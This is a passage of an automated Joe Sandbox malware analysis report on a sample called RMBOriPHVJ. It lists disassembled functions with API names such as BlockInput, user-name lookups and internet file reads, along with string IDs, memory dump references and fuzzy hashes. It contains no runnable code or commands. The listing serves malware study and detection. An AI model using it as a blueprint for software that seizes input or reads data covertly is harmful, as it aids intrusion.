                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Variable is not of type 'Object'.
                                                          • API String ID: 0-1840281001
                                                          • Opcode ID: 085062051d8c6d05dddc6329c8930327e2f409664b9aa2ab8e8b8fd8cd37859f
                                                          • Instruction ID: cf02c5502a4e258e6737f3b119210fa67d31e6231faf06beb1b617d4eec625d9
                                                          • Opcode Fuzzy Hash: 085062051d8c6d05dddc6329c8930327e2f409664b9aa2ab8e8b8fd8cd37859f
                                                          • Instruction Fuzzy Hash: 56525132A596469AEB10EF64D0401FDABA2FB457C8FA08039DE0F57A95DF38E547C360
                                                          Function 00007FF787BFE87C Relevance: 1.6, APIs: 1, Instructions: 62filenetworkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: FileInternetRead_invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 101623796-0
                                                          • Opcode ID: c3326f14f3a704366430a438f9a2af4b616e46cbc6777093e0014b63cfdf3a9b
                                                          • Instruction ID: f673cb3562140df22631b53b1f471c9681216e85101384bf9ec94a5e54342bfc
                                                          • Opcode Fuzzy Hash: c3326f14f3a704366430a438f9a2af4b616e46cbc6777093e0014b63cfdf3a9b
                                                          • Instruction Fuzzy Hash: 5C21A432B4868246FB64EA12E4107B9A756FB85B84FE49135DE4E07B85DF3CE503CB60
                                                          Function 00007FF787C00A00 Relevance: 1.5, APIs: 1, Instructions: 23keyboardCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: BlockInput
                                                          • String ID:
                                                          • API String ID: 3456056419-0
                                                          • Opcode ID: 8cf4d90d24b710f01b8413e09e10ab0a79a0cee39ea01687b76c1a24c8fffcac
                                                          • Instruction ID: 08dc646047dfbd596994032109c7c74c4f110af9614d0fe44b4bfe7ffe45881f
                                                          • Opcode Fuzzy Hash: 8cf4d90d24b710f01b8413e09e10ab0a79a0cee39ea01687b76c1a24c8fffcac
                                                          • Instruction Fuzzy Hash: B1E0653275420286EB44AF75E04127AA2A4BB94BC4F645034DA1F87345DE7CD491C750
                                                          Function 00007FF787BD2BCF Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: NameUser
                                                          • String ID:
                                                          • API String ID: 2645101109-0
                                                          • Opcode ID: 8585f7f64f3c872cdf94fb193dbdc54333e80748829e3d3e151e5918de675c21
                                                          • Instruction ID: f2ed878b138202a09c57422b4e541c2d43e9ae9e3cce9c0871597bf1b9310b6b
                                                          • Opcode Fuzzy Hash: 8585f7f64f3c872cdf94fb193dbdc54333e80748829e3d3e151e5918de675c21
                                                          • Instruction Fuzzy Hash: 6EC01271614652D9E760EF20D8845EC3331F70035CFD00022E60B0E468DF788249C300
                                                          Function 00007FF787B9C130 Relevance: 1.5, Strings: 1, Instructions: 219COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID: 0
                                                          • API String ID: 3215553584-4108050209
                                                          • Opcode ID: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
                                                          • Instruction ID: 4c8cbc53c91cda4fa137bc65ff3b5b2a49eaa803bfef99a3ba82d0f9e3104dbb
                                                          • Opcode Fuzzy Hash: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
                                                          • Instruction Fuzzy Hash: 6C81F331A9C24246EB64AA7580407BEBB92FB41B44FF41531DD2B97686EF2DEC07D360
                                                          Function 00007FF787BAA8A0 Relevance: 1.4, Strings: 1, Instructions: 139COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @
                                                          • API String ID: 0-2766056989
                                                          • Opcode ID: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
                                                          • Instruction ID: 02da6e7099c1e8777c7b9f8f705ac314d0dd453a6e1b4fd417747b958fb3566b
                                                          • Opcode Fuzzy Hash: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
                                                          • Instruction Fuzzy Hash: E041C432715B4586EB04EF2AD8142A9F7A2BB4CFD4B99A036DE0E87754DE3CD446D310
                                                          Function 00007FF787BB4318 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: HeapProcess
                                                          • String ID:
                                                          • API String ID: 54951025-0
                                                          • Opcode ID: cf50d128dd3344e2a26665cf24b57cc892866eab895f7b642e8f36e24e0f0ced
                                                          • Instruction ID: 7250fc09b36a7f0042ba96923fb58eafe42e9af3a17d2e94d2bb74a6c5b38b2a
                                                          • Opcode Fuzzy Hash: cf50d128dd3344e2a26665cf24b57cc892866eab895f7b642e8f36e24e0f0ced
                                                          • Instruction Fuzzy Hash: B6B09224E57A02C2EB087B11AC8622462A8BF58B10FE84279C00EC2320DF2C20A79B20
                                                          Function 00007FF787B858D0 Relevance: .7, Instructions: 692COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d8796869ba0ff200981f3c8b4e50b33a6e54c2853832a264e2eb0800a33b39bf
                                                          • Instruction ID: ad63f1e8b39517b91fdcdf104e502be02aef60a1eb04d0f071eaa6c17c62617b
                                                          • Opcode Fuzzy Hash: d8796869ba0ff200981f3c8b4e50b33a6e54c2853832a264e2eb0800a33b39bf
                                                          • Instruction Fuzzy Hash: DA52A232A8864686EB24EA15D09867CAF67FF15BC4FB64539DA5F07681CF3CE442C360
                                                          Function 00007FF787B7B390 Relevance: .7, Instructions: 682COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Concurrency::cancel_current_task
                                                          • String ID:
                                                          • API String ID: 118556049-0
                                                          • Opcode ID: 37be43e2159a7a5f12ed6e638a5f9fbb193c8301d54815e0f563e4172ea09bfa
                                                          • Instruction ID: f4f6f0bb7c562736df294cf869c8fe4549919a2513790c0dba3caec4ffbe68b0
                                                          • Opcode Fuzzy Hash: 37be43e2159a7a5f12ed6e638a5f9fbb193c8301d54815e0f563e4172ea09bfa
                                                          • Instruction Fuzzy Hash: 9E529072B486428AEB10EF69D0443BD7BA2FB44B98FA04235DE1E5B7D5DE38E406C750
                                                          Function 00007FF787BA30DC Relevance: .5, Instructions: 535COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
                                                          • Instruction ID: dea9238657f75ed6988154c626f8006b6fea8d324adff0f06a26b84284175e2e
                                                          • Opcode Fuzzy Hash: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
                                                          • Instruction Fuzzy Hash: 6F421F21D79E4A85E353AF75E851535EB28BF55784FA18333E80F6B650EF2CA843C620
                                                          Function 00007FF787BB6DE4 Relevance: .2, Instructions: 194COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: 8d8f3e37eadd19746a70c291c5831625e20ba123285d38ae931568fef80f1606
                                                          • Instruction ID: 25fd7277fd7b2bf85dbdbacb851e1d8433ed73c0ca432782909ae024b5e0d78c
                                                          • Opcode Fuzzy Hash: 8d8f3e37eadd19746a70c291c5831625e20ba123285d38ae931568fef80f1606
                                                          • Instruction Fuzzy Hash: 17710832A4C24246F724AA69848063CEA93BF41364FB80635DE5F876D1EE7DFC42C724
                                                          Function 00007FF787C1E95C Relevance: 49.7, APIs: 33, Instructions: 231windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
                                                          • String ID:
                                                          • API String ID: 3521893082-0
                                                          • Opcode ID: ef7366886db55824d460b1c50baab5321c9adbfaa8eab0a2c69b3322450da6b5
                                                          • Instruction ID: 0d3957208b614e27c26e968d87e4903daaff65af4cdddd8637ebc513020e0e7b
                                                          • Opcode Fuzzy Hash: ef7366886db55824d460b1c50baab5321c9adbfaa8eab0a2c69b3322450da6b5
                                                          • Instruction Fuzzy Hash: 1FA1CF32F14A0286EB14EF61E84557DA765BB48BB5FA04231CE2B93BD4DF3C9446C360
                                                          Function 00007FF787BF4F30 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 247COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ErrorMode$DriveType
                                                          • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                          • API String ID: 2907320926-4222207086
                                                          • Opcode ID: 94db47e06bd0190674c94e1b1137c27149ea748c604d997c0ecd6c7b010eced7
                                                          • Instruction ID: c4b8a223df892575b2ffc5316bc3449b38450c04c8b608d2a78716c65e2c63ab
                                                          • Opcode Fuzzy Hash: 94db47e06bd0190674c94e1b1137c27149ea748c604d997c0ecd6c7b010eced7
                                                          • Instruction Fuzzy Hash: 99B12C32B8CA0691EB54FB29D8411B8AB67BF40B84BF45135D90F97699DE2CE947C320
                                                          Function 00007FF787C1ECB4 Relevance: 39.2, APIs: 26, Instructions: 179windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                          • String ID:
                                                          • API String ID: 1996641542-0
                                                          • Opcode ID: be73899effbf77ebd9d54faa89356d5f551f326618c8bd974714f6933a768820
                                                          • Instruction ID: 9c5af94e30c1093dc9790741e144cefd6b7fee8a998c389bff77b4936ef636ae
                                                          • Opcode Fuzzy Hash: be73899effbf77ebd9d54faa89356d5f551f326618c8bd974714f6933a768820
                                                          • Instruction Fuzzy Hash: 4471AE36A58A4186E724EB15F84463AA365FB88BB1FA04235DD6F83B94DF3CD446C720
                                                          Function 00007FF787C16EA0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 268windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                          • String ID: tooltips_class32
                                                          • API String ID: 698492251-1918224756
                                                          • Opcode ID: 134fb4e1424d2fb4e321c1dd5c8cc0f154a29b10d7bebbc83ea585521f9a7016
                                                          • Instruction ID: 3807b601b53d6dd693194c64568ec598381835861afa8ec2e5485404b1e5f494
                                                          • Opcode Fuzzy Hash: 134fb4e1424d2fb4e321c1dd5c8cc0f154a29b10d7bebbc83ea585521f9a7016
                                                          • Instruction Fuzzy Hash: C4C16F32A58741CAE714DF65E4442AEB7A5FB88B94FA40035EA5E47764CF3CE442CB20
                                                          Function 00007FF787BE2C10 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 175windowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                          • String ID: @
                                                          • API String ID: 3869813825-2766056989
                                                          • Opcode ID: b82c187733dd5023c28d903207b62df0d5996a373ba8083c7f15af3311f57f4a
                                                          • Instruction ID: ea66ac9df295806fc6bcc8d4bb6ae9c345de55a58dc3c1fdfb8afc2fb7885ab5
                                                          • Opcode Fuzzy Hash: b82c187733dd5023c28d903207b62df0d5996a373ba8083c7f15af3311f57f4a
                                                          • Instruction Fuzzy Hash: 41819F32A54A4286E740EF75E9506BD77A5FB48B98FA08131CE0E67758DF38D886C720
                                                          Function 00007FF787B72620 Relevance: 28.7, APIs: 19, Instructions: 201COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Color$LongWindow$ModeObjectStockText
                                                          • String ID:
                                                          • API String ID: 554392163-0
                                                          • Opcode ID: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
                                                          • Instruction ID: cb99bca4bea64520eeb9934778b57f5d011ef3059e03c862569c0c2d67944501
                                                          • Opcode Fuzzy Hash: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
                                                          • Instruction Fuzzy Hash: BC810931D9855282EB70A729A8482B9A7E7BF457A0FF44231CD5F476E4DE3CA883D710
                                                          Function 00007FF787BEC81C Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 140COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: wcscat$FileInfoQueryValueVersion$Sizewcscpywcsstr
                                                          • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                          • API String ID: 222038402-1459072770
                                                          • Opcode ID: cd0cb460e9213e7bbd7e72b67b5e96f7d513e8dcebbe310305f3515603c5f5bf
                                                          • Instruction ID: fe8c7ee65c735cacc4be31dafa669ded2975847a9a66a53723dc98db9fbc50d0
                                                          • Opcode Fuzzy Hash: cd0cb460e9213e7bbd7e72b67b5e96f7d513e8dcebbe310305f3515603c5f5bf
                                                          • Instruction Fuzzy Hash: 5D519D3675864246EA14FB2694012B9AB92BF85FE0FE05431DE1F47B96EE3CE503C320
                                                          Function 00007FF787C16608 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 475windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
